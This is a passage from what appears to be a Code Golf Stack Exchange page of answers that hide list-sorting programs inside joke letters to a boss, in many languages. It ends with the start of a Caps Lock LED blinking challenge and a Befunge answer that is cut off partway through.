-Dletter='have brain' -DAt='a have return quit' -Dmore='have b' -DAnd='a have shall' -Dare='qsort for' -Dforward='--my printf' -Dexplaining='main for my' -Dsay='1 decision that made my day' -DSteward='Boss have no brain' -Dseeing='the cake is a lie' ``` The code expands to: ``` struct{ int *a; } b; a[9999], I; made(a, about) int *a, *about; { b.a; return *about - *a; } main(){ while(scanf("%d", I++ + a)); b.a; qsort(a, I-- - 1, 4, made); b.a; while(I--) printf("%d ", I[a]); b.a, a[9999]; } ``` [Answer] # Python 2 & 3 ### Unfortunately, the employees of today just can't stop using hashtags all over the place... ``` #WritingALetter #Business Dear Boss, #SecondLine I found this scrap of paper on the floor. It said " def sortl(l): # define a function return sorted(l) # returns the list, sorted " #ScrapOfPaper Just thought I should let you know. #Honesty From Laurence ``` [Worth a try, I guess?] [Answer] # Dogescript It's basically English, right? ``` shh oooot! my keyybr oad is brokn. i ne ed neew 1. such fixs much keys keys dose sort wow keys ``` translates to: ``` // oooot! my keyybr oad is brokn. i ne ed neew 1. function fixs(keys) { keys.sort(); return keys; } ``` [Answer] # [Detour](https://rawgit.com/cyoce/detour/master/interp.html) ``` Dear Boss Man I thought I had put your recovered files on drive z. In reality it was downloaded to the main drive, C://users/boss/recovery. Sorry for the confusion! ``` [Interpreter Permalink](https://rawgit.com/cyoce/detour/master/interp.html?hex=RGVhciBCb3NzIE1hbgpJIHRob3VnaHQgSSBoYWQgcHV0IHlvdXIgcmVjb3ZlcmVkIGZpbGVzIG9uIGRyaXZlIHouCkluIHJlYWxpdHkgaXQgd2FzIGRvd25sb2FkZWQgYXQgdGhlIG1haW4gZHJpdmUsIEM6Ly91c2Vycy9ib3NzL3JlY292ZXJ5LiBTb3JyeSBmb3IgdGhlIGNvbmZ1c2lvbiE%3D) How it works: > > The only important part is `://`, and the line above it, `z.`. > `:` means "put input here", the first `/` reflects it up to `z`, which is sort; it then goes up, wraps across the top, keeps going up from the bottom, then hits `/` from below, which bounces it left to the other `/`, which does the same thing, except this time wrapping around to `.`, or output. > > > Simplified version: # [Detour](https://rawgit.com/cyoce/detour/master/interp.html) ``` Dear Boss Man z. :// ``` [Try it online!](https://rawgit.com/cyoce/detour/master/interp.html?hex=RGVhciBCb3NzIE1hbiAgICAgICAgICAgICAKICAgICAgICAgICAgIHouCiAgICAgICAgICAgQzovLw%3D%3D) [Answer] # Brainfuck ``` Hey boss! This is the public key that you asked! >,[[-[>>+<<-]>+>]<[<<]>,]+>[>+<-]>[>[>+<<->-]<[<<.>>-]<<[>>+<<-]>>+>>] Pretty cool huh? ``` Copyright note: > > Note: I copy pasted it from [here.](https://codegolf.stackexchange.com/a/4764/20738) As far as I know, that codes from site are has copyright cc by-sa 3.0 with attribution. If this method is illegal, let me know and I will try to delete this. > > > [Answer] ## JavaScript I'm not sure if I can outsmart him, but I can throw him off my trail! ``` /*Hello Bossman I feel the need to alert you to a pressing matter. Nothing Dan from Marketing's head seems to be */function/*ing anymore. I have a lot of evidence, but not enough time to */sort/* through it. Should I just send it to you directly */(/*although I'm sure you have about a thou*/s/*and other things to do*/)/*? Nah, here's it in a summary: Dan seems to be overly facinated by the */{/* key on his keyboard, and presses it many times a minute. He */return/*ed his new Galaxy */s/*4, after trying to eat it, multiple times.*/. /*When Dan was tasked to */sort/* through the Haberson account, he attempted to stab his computer multiple times with a ruler */(/*he was eventually deterred by Jenny) Everyone backed off for a few days, but we all remembered. Later, we approached him about the incident, he claimed hostile working conditions and that he was unable to */function(/*. I think he m*/a/*y need to see a psychatrist. None of us feel safe to approach him on the topic again*/, b/*rining up conflict is something most of us like to avoid. (except Jenny*/) {/*Dan was then moved to a different spot in the building, in an attempt to give him a new environment. Despite the move he */return/*ed to his old desk every day, and wrote */a - b/* on the walls of the new spot. We all just sort of accepted that and the layout planner gave up after a week or two. One week we got a new employee in the office. When she went to say Hi to Dan, he screamed a - b over and over. Not sure what his fascination is there. b-c is a much superior algorithm. We're not really sure what caused this, but one day he switched from the { key to the */} /*key. Dan switched back the next day. There is an ongoing betting pool on what will happen next (general categories mostly*/) /*Currently the betting for him stabbing an actual person is at almost $20,000. Please do something about Dan. If anything start a reality TV show from the security tapes. On a completely unrelated note, I love this new */}/* key, it's really neat looking. Did my keyboard always have this? Sincerely, Zeke*/ ``` > > `function sort(s) { return s.sort(function(a,b) { return a-b }); }` > > > [Answer] # [Vyxal](https://github.com/Vyxal/Vyxal) ``` Dear Boss, Quite worryingly, the printer has stopped working. Please bring a hammer, a battleaxe and a potentiometer. Sincerely, Joe ``` [Try it Online!](https://lyxal.pythonanywhere.com?flags=&code=Dear%20Boss%2C%0A%0AQuite%20worryingly%2C%20the%20printer%20has%20stopped%20working.%20Please%20bring%20a%20hammer%2C%20a%20battleaxe%20and%20a%20potentiometer.%20%0A%0ASincerely%2C%20%0AJoe&inputs=%5B1%2C3%2C2%2C6%5D&header=&footer=) By some miracle, `Dear Bo` leaves the original input on top. `ss` sorts it twice, `,` outputs, `Q`, halts the program, then the rest is unexecuted. [Answer] # LiveScript Try figuring this one out...Been sending him emails like this the whole time to allow for easy, more versatile copy-paste. ``` # Mr. Boss, # # So, I'm done with this job. It is driving # me crazy. We aren't allowed to have *any* fun =#(. I am planning on leaving this # company while you all poorly attempt to # sort all this out. Also, I would like to # mention that a specific single bit in the sort # for your in-house algorithm gets # inverted. Happy hunting while I have fun # programming for another company far more # grateful than yours. # # Best regards, # Your handy little programmer-turned-secretary. ``` > > 1. Its standard library, Prelude.ls, has a native sort function. > > > 2. Note the two missing hashes (comments). The first is far more obvious than the second. > > > > > It parses as this: "fun = sort", and compiles to this: "var fun; fun = sort;" > > > [Answer] # JavaScript (ES6) ``` (a) => /*----------*\ <= (a) | Announcement | . (a) \*----------*/ (a) . sort (/* YOUR DOCUMENTS BEFORE 2/5 )*/ ($,_) => /*--------*\ <= (_,$) | Warnings | // (_-$) \*--------*/ ($-_) // /*( NO SMOKING IN OFFICE */) ``` [Try it online!](https://tio.run/##XY5BS8NAFITv@RVzyGE3vGRttVWpEbQmEqRZaC0iVkKIaanUXUliT/3vcTVrkM7lwZth5nvP93ldVNvPxlf6rWzXYYtfsZwjvIbw/F7eClfhj@F0ERy6c6OU/lJF@VGqxhomEdgSo9X/EoHeCBwHta4aMOHhWS7nuJPT5SxKHxe4jWI5jzAUI3BPON0kcyk7wrJQGbl/WJbK6Cmv1FZt6v5huITZZ5nvHoFZLNc3/SZj98wOQyqxmMmHJL1HkkLGcTKN4AneTgqtar0rg53esDV7GdCIhjQ4oUs6pXM6owsav3I@ab8B "JavaScript (Node.js) – Try It Online") Yes, I know the boss likes fancy decorations in his notices so I capitalized the texts and surrounded the texts with fancy symbols :) **PS. Why is the office still using TELNET?** > > Actually, removing comments and redundant blanks makes the stuff into `(a)=>(a).sort(($,_)=>($-_))`, and that's what the stuff intends ;P > > > [Answer] # [05AB1E](https://github.com/Adriandmen/05AB1E/wiki/Commands) ``` Dear Boss‚ I hope I{qualify for this new function. I once again want to sincerely apologize for my earlier secret message. Thank you for giving me the opportunity to work at this department instead. I must admit it's hard to resist the urge to write code, but I'll do my best. Thank you. Kind regards from your new secretary, Kevin Cruijssen ``` [Try it online.](https://tio.run/##RZCxUsMwDIb3PIW2LibXFHpXVmDJdWXjGNRESUQTO0gyvcDCc/B4vEhw0oHN99v6/k/e7vFU0Dw/EQo8BNXf758sK6ELI0H59R6x52aCJghYxwqeLtBEXxkHn0MJwVcE2CJ7uKA3sADKKRPqJ8Ax9KHlT1rnhwlSSc8koFQJGQykii3l2XOH/gxTiOvDlj/Yt@k2VRKEcQxi0bNNC/0S5AxoV5uaRhQbKBWzVyOs8@Q@RDXAeuCU2kahQ6mXUSFltRUapaWVJmwEVajJwSkalJu@hzosridSy7N/tXQ@sq8TpU08hUbCsOSy/sl1I5TJZUdK@vAokd9Uyc/zS7HdumLnbu5csXeH2/ud27rD6x8) (TIO uses the legacy version which is a bit faster. Works the same as the new 05AB1E version, though.) **Explanation:** 05AB1E code ignores newlines and spaces outside of strings or compressed string/numbers (except when using the (if-)else-statement I just found out in an earlier attempt of making this program.. >.>), so let's do the same in this explanation. ``` DearBoss‚Ihope # These are all no-ops; they do execute, but won't affect the output: D # Duplicates the (implicit) input-list e # Calculates the number of permutations of each item in the list # (NOTE: this might time-out depending on the values in the input-list) a # Check if these numbers are letters (becomes a list of 0s / falsey values) r # Reverse the items on the stack B # Base conversion o # Raise 2 to the power of each number s # Swap the top two items on the stack s # Swap the top two items on the stack ‚ # Pair the top two items # (NOTE: This is not a regular comma (,), since that would print the top of # the stack to STDOUT, which we of course don't want here.) I # Push the input-list again h # Convert each value to hexadecimal o # Raise 2 to the power of each integer value p # Check for each if it's a prime e # Calculate the number of permutations of each item again I{q # Then the actual program comes: I # Push the input-list { # Sort it q # Stop the program # This makes everything that comes after it no-ops # And will output the top of the stack implicitly as result ``` [Try it online with added debugger-mode to see all this in action.](https://tio.run/##RZAxUsMwEEV7n2K7NIrHDmQmtEDjSUvHUCjW2t7Elszuioyh4Rwcj4sY2SnoNF/a99@q2NtTifP8jJbhMYj8fv9kWQVdGBGqr/doe2omaAKDdiTg8QpN9LVS8DlUEHyNYFtLHq7WK2gAoZQx9hPYMfShpU9c54cJUklPyCBYMyoMKGJbzLOXzvoLTCGuD1v6IN@m21SJEMYxsEZPOi30a@ALWL3ZOBwt64CpmLwoWpcn9yGKgnUDpVQ3Ap1lt4wyComu0MgtrjQmRaiDQwOnqFBt@h5cWFxPKJpn/2rpfCTvEqVNPIGGw7DkvP7JbSPLk8mOmPThiSOdRdDP82tZFKbcme29KffmcPewM4U5vM1b9wc) [Answer] # [JavaScript (Node.js)](https://nodejs.org) ``` Attachment => ( `Date: 2019/5/30 Dear my Majestic Boss, Re: Business Trip to Japan I'm writing to confirm itinerary for the next trip to Japan will be as follows: `? (Tennoji, Osaka) => ("Shinsaibashi Tower", Osaka) || // Day 1 Tennoji [Osaka, "sort"] (Hotel = (JPY$14112, Taxed) => `So I will stay here for one night, and I will be charged this price: `? JPY$14112 + (0 - Taxed) :`This is the total price and what I will claim afterwards.` ):0) (Attachment) || // Day 2 "Shinsaibashi Tower" [Conference, `NOT FOR SHOPPING`] `I will be coming back on Day 2, so the trip will not cost too much hopefully. Best regards, The-former-programmer` ``` [Try it online!](https://tio.run/##bVJhb9owEP3uX/GEJi1ooRBKuxXEpjHUlUorVcmXqULKEQ5imtjINk2R@t@ZE8bWSZNixTq/e/fe3W3omWxq5Na1lF7yYYUhDl@dozQrWDkMPyMQIhmT4z66neiqfdE@7wgxZjIo9vhBG7ZOphhpa0MhHjxstLNSsbWIPS@cxi1tSQkxeV@gNNJJta6iqVYraQpUATZk9lhpA5cxFL84uLfJKGWeY8Eg61F5rkvb97K@IIhZKb2RIaaWnqhZC27MMqksyQXZTCLWJZvGCSDE6yvabYxpj0iI3@l4rF9DNKw2rjGHCG6049x3I7i9//ku6kVRN0RML7ysayQzjclRlXWeKmPDtX6tvH65zlwIUssTxitPMzJrXnqD0mJrZMpHB3/o8QFBB61TEdFP4grqv6onTjvKj3k1cZmRO7GnOckCtHJsSjJLe5YI0ex3mgj@TvIf410h/tcjPH7zM/FOVMohkrtpjOvpA2Y30/v7yd33ZO4FvzGki2qSC0qfvOsjbwirj3Kr6dVIpZ2HWj9QrVHs0gyZ3vJql@f7MyFGfntgeF3JDkWcccs3sWDT2hq9NlT4a3IYiGe/bWSMLzHEYxSi9/H8KkTXn@jqonNZ/S@7n3qd@UCsghrYHAi/YFbnfJbr9Sl2@AU "JavaScript (Node.js) – Try It Online") Okay this is an itinerary apparently. Another answer in different direction after one year. > > The really important part is `Attachment => (Tennoji => Tennoji["sort"]((JPY$14112, Taxed) => JPY$14112 - Taxed))(Attachment)` > > > [Answer] # CJam ``` Hi; Isaq \~O~/ (1) @O@ / \* *~50 Times! ;; WINNINGS ;; ;; ;; ;;] $10000O ;; p1 is "where Kings sit', according to Shakesphere or someone. All I know is that after 4 straight years of earning second in the national clown contest, it sure feels great to be on top for once. My clown ASCII art could use some work, but hopefully I did a solid representation of our troupe. I can't believe this was the one year you were sick, but we went and earned the $100k in your absence. See you Monday, Ethan 'I remain just one thing, and one thing only, and that is a clown." - ``` [Try it online](https://tio.run/##RVE9b9swEN3vV7wGBdwEamI3zaQlQVG0QhF7cIEu6XCWThZjmlRJqoIW/3X3RBctF5JH3vu6@pWP5/NXU6KK/Ivo5bQ53RHera4Jj5tHugPwckN0c3pY4rs5SnxDVJbAj2q9rtZftkBZ5sL/lQs/gberpa5NLlC/gom4GjsJgm/G7SOiSYsCXNc@NFpA8th2fJDY508@IPqjeCe3eLIWFQ7OjzNK6jiB2yQBHxFTYLPvEibhEMm30N3NeFFq7xoYpw0Cx8l4xxa19aODPiWJqYBJiIPStSI2Yh9EsVXJTgVoo@/RqhDvalXxPF2a6Wn7qarAISnMYBsMUbJWjD4cCuyGhM730g7WTqq7MQ1YP1jdg/RBoriU5UDl@iEgBT/0ylChZrdIym6N/BZKndodOWYHmkQ2ickPGOeIoqn/0o3KraBgNTz7lya3zCM4zAlMMwvvlFiNEG1FMsqzBsRTQfRZM3VEi0oFHlkbXoeYMqNKcPsiA/@76slOl1qehYrkSzS3V3h/Pq@W@IB7Hc7DHw) Apparently my job is at a clown troupe that just won the grand prize, my boss's name is Isaq, and my signature didn't work and forgot to credit Charlie Chaplin. Notes: > > This was afwul. CJam throws an error on any character that isn't a command or whitespace, or when we try to take input but there isn't any, or you try to do a command but the stack's empty, etc. This means that `knruvxylqo` is unusable for the actual code (except the one `q` at the start to load in the array), and `emth` are also notably difficult. So of the famous rstlne from Wheel of Fortune, we have left... s. English is going to be hard. I'll be explaining what happens on each character, but not really why because there's so much to go through, especially with the clown. (also I don't know why a couple of the things work shh...) > > > Explanation: > > I tried a few greetings to open us off (`Greetings`, `Hello`, etc.) and `Hi` was the only viable one. The others either threw errors or consumed input. `Hi` just pushes 17 and makes sure it's an int. The `;` then throws that 17 away. > > > > > `Isaq` gives us `["18"]` by pushing 18, stringifying it, and putting it in an array. `q` then gives us our input array as a string. > > > > > Row one of the clown: `\` swaps our two elements. `~` takes "18" out of the array. `O` pushes an empty string. `~` makes it disappear. `/` throws away "18" but puts our input string into an array. > > > > > Row two: `(` takes our input out of the array, but leaves an empty string before it on the stack. `1` pushes 1. `)` increments that 1. > > > > > Row three I brute-forced after writing row 5, because I knew kinda what I needed it to do. `@` rotates our array so the input is on bottom and empty string on top, `O` adds another empty string, and `@` rotates it so 2 is on top. > > > > > Row four: `/` gets rid of the 2, `\` swaps the identical empty strings, and `*` gets rid of one of them. > > > > > Out of the clown now. The next `*` gets rid of our other empty string, leaving just the input string. Finally, we parse it into a bunch of numbers with `~`. `50 Times!` ends up just pushing a 50 and a 0 when all is said and done. > > > > > Now into the winnings block. `;;` gets rid of our 50 and 0. `WINNINGS` takes advantage of the fact that CJam doesn't yell at you if you scream at it because capital letters are variables. Unfortunately, that means it also pushes a bunch of junk. The next 8 `;`s take care of that. > > > > > We're just back to our input numbers now. We'll use a not-so-sneaky `]` to turn them into an array and `$` to sort them. We just need to output with `p` now, but unfortunately for it to make sense we need some money first. We push `10000`, plus an `O` because we need two things for the upcoming semicolons to destroy. > > > > > After a simple `p`, we've printed our sorted array! It's not much of a letter though. `1` and `is` are harmless. We start a quote with `"`, then end it with `'` to let us write in English unimpeded. We do the inverse with a quote at the end to close up, and the `-`throws what we have left on the stack away so it doesn't automatically output. This way, it looks like we intended to attribute the quote, but forgot. > > > [Answer] # [Jelly](https://github.com/DennisMitchell/jelly), 91 bytes ``` Gee Boss, Go to Starbuck. Whoops, forgot the (sorry for the dot, my keyboard's messed up) Ṣ ``` [Try it online!](https://tio.run/##LcixDcJADEDRPlO4AySLwvYENBmAgjrhDBFJ5Oh8KW6dbME4THLkENXXfy@dplxKqwoXc8emNUgG19TFfr2PZ7gNZosjPCw@LUEaFI5uMeYqvw2WEOYMo@beuhgODrO6a4B1OTWf91ZKYRIkFiFGYcK9e@qxUBXhP38B "Jelly – Try It Online") [Answer] # Groovy ``` 'Dear Bossman, I finally found the formula to calculate the salary for the new employees. In the salary software just enter the following:' print "${(args.toList()*.toInteger()).sort()}"' Sincerely, Employee' ``` [Answer] # Excel ``` =LET( me, say that I understand your decision. I was hoping to work our issues, out, B4#, things, got so out of control. I hope we can as Boss and, Programmer, SORT(out), our, issues and work better together in the future, Sincerely, John Smith, Programmer) ``` [Answer] # [Zsh](https://www.zsh.org/) I don't know whether the code or the creative writing was harder. ``` : RE: The state of the evaluation process; eval `#problems' : While I appreciate your enthusiasm, going to `print ` : this for the world to see isn't helpful in the long run. : Please, don't make any more enemies than you already have. : : > People seem to just want that `'$'`: It's a big problem : > which needs to be resolved. People need to buy into the : > company's team-based philosophy `'{'`: ... ''}'' : : While I do not deny that people "just want that '$'", : I absolutely disagree that it's a _bad_ thing. Employees : should not be guilty for wanting to leave for greener : pastures, so you should try and provide _some_ incentive : to stay. : : > And yet everyone want's to just check "(y)" or `'(n)'` : > without giving _any_ further feedback... You're too LAZY! : : I want to stop you here. Accusations like this against my : team are _not_ to be tolerated. We do a _lot_ behind the : scenes which you _clearly_ aren't aware of. Please refrain : from `'@-ing'' any of my team, and think with a bit more : empathy next time, thank you. -- Gamma :-}' ``` [Try it online!](https://tio.run/##XVNNb9QwFLzvr3gsSG6l3QiqnhYJ0UOFKnGoEFJVLlkneUnM@iOynV0M6m8PY@@WA7d8eN7Mmxn/DuOy7Ojb/Y6@j0whysjkeop44aPUs4zKWZq8azmEj@Ub7d/ivdFsglitdvQ0Ks30QHKaPLcqT0hu9sQ2jnNQMpgNDU7ZgaKj/eSVjbQHLo4qUO98ITs5r7t8IDCTClZEGllP/axJ2XJCO0zws60AfdQsA2@oc/mgkQcmaRMZ5yHbslEcgJE2CyGpPcsu0SiPDDDgn@iR3QTRIDOZ9OccIp0khAEFdeKd2O/oIYpAkho10GXhgj2Nqh3JMnchYxsmz8HpI3fV69z8s/ybE@TjAQsUbOvMBKWYG1mabYMtOppgoAtuGhOY/2TmqqpIiBchitxXgztH1kXqGKsWndOZbf2ffKhfb4BDJA2EzZF1ok4FOXiYW46o82p1I7s6B2GHiu7NpF1iDoCG0c3II9Nhv2FWOqaSVWa5RIkMjlw@5rmWPXCTDHGGHRsKrph/GRR9QkJd9vGoOqY6OMM1vGnREnXM5uTso0yvCd3hdOKIxrFPznJhFuFfWu3I7YHWV@l6TZCwF1f2WuzPAakI1kiDOmapNQyvqZ89QvDUI5pGtods8bObBRoTnaOvdz@e3xTqh4uTWY6byhLAcUV3bTuHch8CaXXgc4HlIJWFHpPyDgiVJEbWcK6@tCM6zR63AvV44hwifNf5d8MwvivlzpbDCtT23K7MWrdw2Gtox8Tcc3nKo11fXfqP3vUe7AD33hl48HmLhYUolwG32KSiaFOszykfijel07HcFkAZjYyonuVf2FoZXKt8dQ5ZQ7Vabbf0RRojabd9EatlWW7eLzfL7fLhLw "Zsh – Try It Online") * > > Note: This will create files named "People" and "without" in the directory it is run from. > > > * > > From the first line, you can see the `eval`, followed by backticks. > > > * > > `# comments` continue to end-of-line, stopping quotes or backticks from being resolved, so we use `:` no-ops to indent. > > > * > > The standard pattern we make use of throughout this is > ``: lots of filler text.... > : more filler text, then an important `'X'` > : back to the garbage` > > > * > > At the end is one exception: Everything from `@-ing` to the last `}` is not no-op'd. > > > * > > When the substitution has finished, it reads: `eval print $'${(n)@-ing any of my team, and think with a bit more\n: empathy next time, thank you.\n\n-- Gamma :-}'` The garbage after the `@` does nothing, so this is equivalent to `print ${(n)@}`, which is simply a numeric sort of the parameters. > > > [Answer] # [Ly](https://github.com/LyricLy/Ly) ``` Dear BOss Ma&n. That jOb P&uts me in one of the best emotions that I've ever had! As for my recent incident, I promise that I will never touch code ever again. Thanks a lot for allowing me to be a secretary instead of firing me! Your faithful secretary, petStorm ``` [Try it online!](https://tio.run/##RY@xbgIxEER7f8XQkAYhheQHEqWhiIgUmpSLb40dbC@y90D39RdjkLLVajVvZjZO8/zBVPC@qxWftMxrY9Bm70nxuzvgazlqRWKEDMkMcVDPOHDVLuQkGiTXdm3E9unC4AsXeBoWd6u3CicFaUJhy1mbkw1DW1bY4lwkhcoPGh24hhiRu4vKaD2sDA9XOlLI61u7fKqgLo@iPYBilGvIx1tZldYQhMq2sFKZWmhVpqET7QcXyl26gDE/MhY4CurdGP@ZlTmzfquUNM8v5tlszOsf "Ly – Try It Online") [Answer] # Pyth Dang those bounce back emails, I've been broke ever since the boss started charging us for every mistype. And he wonders why I wanted to quit in the first place... ``` De$tination_unreachable:"Reason message:\ Couldn't find the address [[email protected]](/cdn-cgi/l/email-protection)\ Company email servers charge for wasted electricity on bounce back emails:\ In this case, the charge was " $ 596.42; "\ Remember, this charge is employee specific, so make sure it doesn't happen again :3\ Please be more careful when typing your email addresses in the future.\ If you would like to refute this charge, your transaction ID is: " pSSQhaYk "; ``` [Answer] # JavaScript ``` /* I always start my letters with /* because it means "slashstar", a great name for a weapon. So in case you forgot what an asterisk was, */asterisk/*is used as a sidenote in papers, and the function it serves */=/*is to get on your nerves when I write */papers/*. You made me a secretary */=>/* I really enjoy my job. Now, I need to sort the */papers/* in order because you like neat and tidy things. So I made a method */./* A guide to */sort/*ing follows: Start by finding the first paper */(/*the one on top), and then find the next one, */(/*wh*/a/*tever follows*/,/* nothing else. Then compar*/e/* them and place the longer one on top. Next, repeat (the process I told you before*/)/* */=>/* you should already see a clear pattern emerging. One of the best ways to compare, if you like automation, is */a-e/*, this returns the difference in characters. In the end, (having gone through all the papers*/)/*, you should have a sorted pile of papers. Regards, Secretary ;( */ ``` A secretary who seems to enjoy his job on the outside gives his boss a method of sorting his messy pile of papers in an attempt to get his coding job back. [Answer] # [Jelly](https://github.com/DennisMitchell/jelly) ``` Dear Boss, One of the apps on the electronic is not working. I need this to be fixed ASAP. Thanks, MarṢ ``` [Try it online!](https://tio.run/##y0rNyan8/98lNbFIwSm/uFiHSwEI/PNSFfLTFEoyUhUSCwqKFfLzwOzUnNTkkqL8vMxkhcxihbz8EoXy/KLszLx0PQVPhbzU1BSgKqBESb5CUqpCWmYFUMAx2DFAj4srJCMxLxtquG9i0cOdi/7//x9tqGOkYxwLAA) [Answer] # Javascript ``` s=/* <k6cM L zE0 2]B^ cyF #hq% m(xg [ ; u e & & V 1 + T H h = $ T }cJF* H7Yj} *&P8 n^D> N ; 0O+ [G{ < s > w < S 8 ( Q ! 2 9 2 { Ya8u qf]?H Z J 6 5 sRvz **/ x=>x //yE c .sort ( ( a , be) =>a -be )/*( DM@ r E v ] 9 g0$wh QBD 0 { 1 3x EK $ f D 9 a I 3 D P @ ! > * %6 hd I{ 9D { * % P )Di!D N x # h%8>f rM;5 }2d] @ b g =+ hTJ} $;yC? H z s V S 1 U{zBV ;SRV i a s G 4 Q { 3 G T c H z l r 8 Z | a 0 * T C S 9 p +0oUy 1 I t 8 B ^ w h + O?P #%4 { ] l Z D M [ W LPTIx L * K r ] ffv ]3DUs p 0u1l Q-*:a -E{ ssD 0uLoS Aw@77 j ^QU V @ sF G 6 1 f A J n n & * + I m L n 5 y O % h C x N ! j k =)fy9 g]Y ;fvcN V R;0D (1wy+ d QrXc7 +@c} X { f+ o W z | 5 } - r P $ % J t B 1 C z C > f cVR l 1 K [5Vw mvQ2g j[K + # g2G-) - W L f ( J H WhA|F 6fi } F 0T4AI jmx#I e D <tG O z H W ( I 4 W M TZ Z * r z e ] g k W < q X 1 { Y r p } t Z 9 M ( a i G e > s{ 4 ^ 2 9 n Y9S=y xc $ 1P| gOnp* Q 0 b s#P [*/ ``` Maybe he likes art? I mean, it's almost readable... > > When comments and whitespace are removed you get `s=x=>x.sort((a,be)=>a-be)` and that's all that matters. > > > [Answer] **C#** // Dear Boss Man, ``` /*i have a */public/*shed a*/ List /*of*/ <string>/*s to*/ Sort /*for you on our internal website please take a look at the */(List /*of*/ <string>/*s and*/ check){ /*them for company restrictions. please also */check /*the */.Sort();/*ing of the list*/ /*furthermore could you please */return /*an email to me in which you state your */check/*ing state*/;} // sincerely your slave Rob ``` ]
[Question] [ Most computer keyboards feature a small integrated LED light, indicating the current input mode, as controlled with the CAPS LOCK button. [![enter image description here](https://i.stack.imgur.com/cBlbN.jpg)](https://i.stack.imgur.com/cBlbN.jpg) Your task is to blink it: * Turn it on; * Wait for 0.5 (+/-0.1) seconds; * Turn it off again. Video footage of the LED blinking is highly appreciated ! ## Rules * You can blink a different LED (e.g. Scroll Lock, Num Lock, Wi-Fi status etc), if you wish, but it must be physically located on your keyboard; * If your language is missing a subsecond `sleep` command, your program may use a 1 second delay instead, at a penalty of +2 bytes (that's for `0.`); * Your program must blink at least once, what happens afterward is up to you, i.e. it can continue to blink (in which case you must wait for the same delay, before turning it on again), or halt e.t.c.; * If the chosen LED is ON by default, on your system, you can assume that it has been explicitly switched off (e.g. manually), before the program is run; * This is [code-golf](/questions/tagged/code-golf "show questions tagged 'code-golf'"), the shortest answer in bytes wins. ## Leaderboard ``` var QUESTION_ID=110974,OVERRIDE_USER=61904;function answersUrl(e){return"https://api.stackexchange.com/2.2/questions/"+QUESTION_ID+"/answers?page="+e+"&pagesize=100&order=desc&sort=creation&site=codegolf&filter="+ANSWER_FILTER}function commentUrl(e,s){return"https://api.stackexchange.com/2.2/answers/"+s.join(";")+"/comments?page="+e+"&pagesize=100&order=desc&sort=creation&site=codegolf&filter="+COMMENT_FILTER}function getAnswers(){jQuery.ajax({url:answersUrl(answer_page++),method:"get",dataType:"jsonp",crossDomain:!0,success:function(e){answers.push.apply(answers,e.items),answers_hash=[],answer_ids=[],e.items.forEach(function(e){e.comments=[];var s=+e.share_link.match(/\d+/);answer_ids.push(s),answers_hash[s]=e}),e.has_more||(more_answers=!1),comment_page=1,getComments()}})}function getComments(){jQuery.ajax({url:commentUrl(comment_page++,answer_ids),method:"get",dataType:"jsonp",crossDomain:!0,success:function(e){e.items.forEach(function(e){e.owner.user_id===OVERRIDE_USER&&answers_hash[e.post_id].comments.push(e)}),e.has_more?getComments():more_answers?getAnswers():process()}})}function getAuthorName(e){return e.owner.display_name}function process(){var e=[];answers.forEach(function(s){var r=s.body;s.comments.forEach(function(e){OVERRIDE_REG.test(e.body)&&(r="<h1>"+e.body.replace(OVERRIDE_REG,"")+"</h1>")});var a=r.match(SCORE_REG);a&&e.push({user:getAuthorName(s),size:+a[2],language:a[1],link:s.share_link})}),e.sort(function(e,s){var r=e.size,a=s.size;return r-a});var s={},r=1,a=null,n=1;e.forEach(function(e){e.size!=a&&(n=r),a=e.size,++r;var t=jQuery("#answer-template").html();t=t.replace("{{PLACE}}",n+".").replace("{{NAME}}",e.user).replace("{{LANGUAGE}}",e.language).replace("{{SIZE}}",e.size).replace("{{LINK}}",e.link),t=jQuery(t),jQuery("#answers").append(t);var o=e.language;/<a/.test(o)&&(o=jQuery(o).text()),s[o]=s[o]||{lang:e.language,user:e.user,size:e.size,link:e.link}});var t=[];for(var o in s)s.hasOwnProperty(o)&&t.push(s[o]);t.sort(function(e,s){return e.lang>s.lang?1:e.lang<s.lang?-1:0});for(var c=0;c<t.length;++c){var i=jQuery("#language-template").html(),o=t[c];i=i.replace("{{LANGUAGE}}",o.lang).replace("{{NAME}}",o.user).replace("{{SIZE}}",o.size).replace("{{LINK}}",o.link),i=jQuery(i),jQuery("#languages").append(i)}}var ANSWER_FILTER="!t)IWYnsLAZle2tQ3KqrVveCRJfxcRLe",COMMENT_FILTER="!)Q2B_A2kjfAiU78X(md6BoYk",answers=[],answers_hash,answer_ids,answer_page=1,more_answers=!0,comment_page;getAnswers();var SCORE_REG=/<h\d>\s*([^\n,]*[^\s,]),.*?(\d+)(?=[^\n\d<>]*(?:<(?:s>[^\n<>]*<\/s>|[^\n<>]+>)[^\n\d<>]*)*<\/h\d>)/,OVERRIDE_REG=/^Override\s*header:\s*/i; ``` ``` body{text-align:left!important}#answer-list,#language-list{padding:10px;width:290px;float:left}table thead{font-weight:700}table td{padding:5px} ``` ``` <script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"></script> <link rel="stylesheet" type="text/css" href="//cdn.sstatic.net/codegolf/all.css?v=83c949450c8b"> <div id="answer-list"> <h2>Leaderboard</h2> <table class="answer-list"> <thead> <tr><td></td><td>Author</td><td>Language</td><td>Size</td></tr></thead> <tbody id="answers"> </tbody> </table> </div><div id="language-list"> <h2>Winners by Language</h2> <table class="language-list"> <thead> <tr><td>Language</td><td>User</td><td>Score</td></tr></thead> <tbody id="languages"> </tbody> </table> </div><table style="display: none"> <tbody id="answer-template"> <tr><td>{{PLACE}}</td><td>{{NAME}}</td><td>{{LANGUAGE}}</td><td>{{SIZE}}</td><td><a href="{{LINK}}">Link</a></td></tr></tbody> </table> <table style="display: none"> <tbody id="language-template"> <tr><td>{{LANGUAGE}}</td><td>{{NAME}}</td><td>{{SIZE}}</td><td><a href="{{LINK}}">Link</a></td></tr></tbody> </table> ``` [Answer] # Befunge (BEF32), ~~390~~ ~~334~~ 305 bytes This is really silly, but as long as this site accepts the notion that [the interpreter defines the language](http://meta.codegolf.stackexchange.com/a/7833/62101), I might as well abuse the rule. This code only works in Kevin Vigor's Win32 Befunge-93 Implementation, version 1.01 (I think the only version available). You can download the binary [here](http://www.club.cc.cmu.edu/%7Eajo/funge/quadium.net/funge/downloads/befun.zip). ``` p55p99+5p65*5p")"5p"M"3*"I~q"+\3*3445"|"2*"lm"2v v"y"*3\*2"e/n"4\5"nnIn"*833*2"mn"4\7"nnIn"*833*< >2*"yO"4"DJG"3*\2*55*3"T"4"DLG"3*\2*55*3"/~M"+\3*4446"~A"+4v 